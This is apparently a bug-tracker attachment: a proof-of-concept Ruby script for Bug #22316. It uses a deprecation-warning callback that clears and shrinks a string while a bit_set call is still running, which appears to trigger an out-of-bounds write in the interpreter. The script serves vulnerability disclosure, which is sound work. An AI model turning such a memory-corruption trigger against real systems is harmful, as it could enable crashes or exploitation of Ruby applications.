Project

General

Profile

Download (8.73 KB)

Bug #22316 » poc_single_bit_reentrant.rb

cozerercument (Boran P.), 09/14/2026 09:00 PM

 
$VERBOSE = true
Warning[:deprecated] = true

$victim = "                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "
$reentered = false

module ReallocateWarning
def warn(message, category: nil, **kwargs)
if category == :deprecated && !$reentered
$reentered = true

STDERR.puts "[+] callback entered"
STDERR.puts "[+] before clear: #{$victim.bytesize}"

$victim.clear
$victim << ("B" * 1024)

STDERR.puts "[+] after rebuild: #{$victim.bytesize}"
return nil
end

super
end
end

Warning.extend(ReallocateWarning)

STDERR.puts "[*] initial size=#{$victim.bytesize}"

# Single-bit form, no region/length argument.
# Valid before callback: byte 7000 exists in an 8192-byte string.
$victim.bit_set(7000 * 8)

STDERR.puts "[!] bit_set returned normally"
(2-2/2)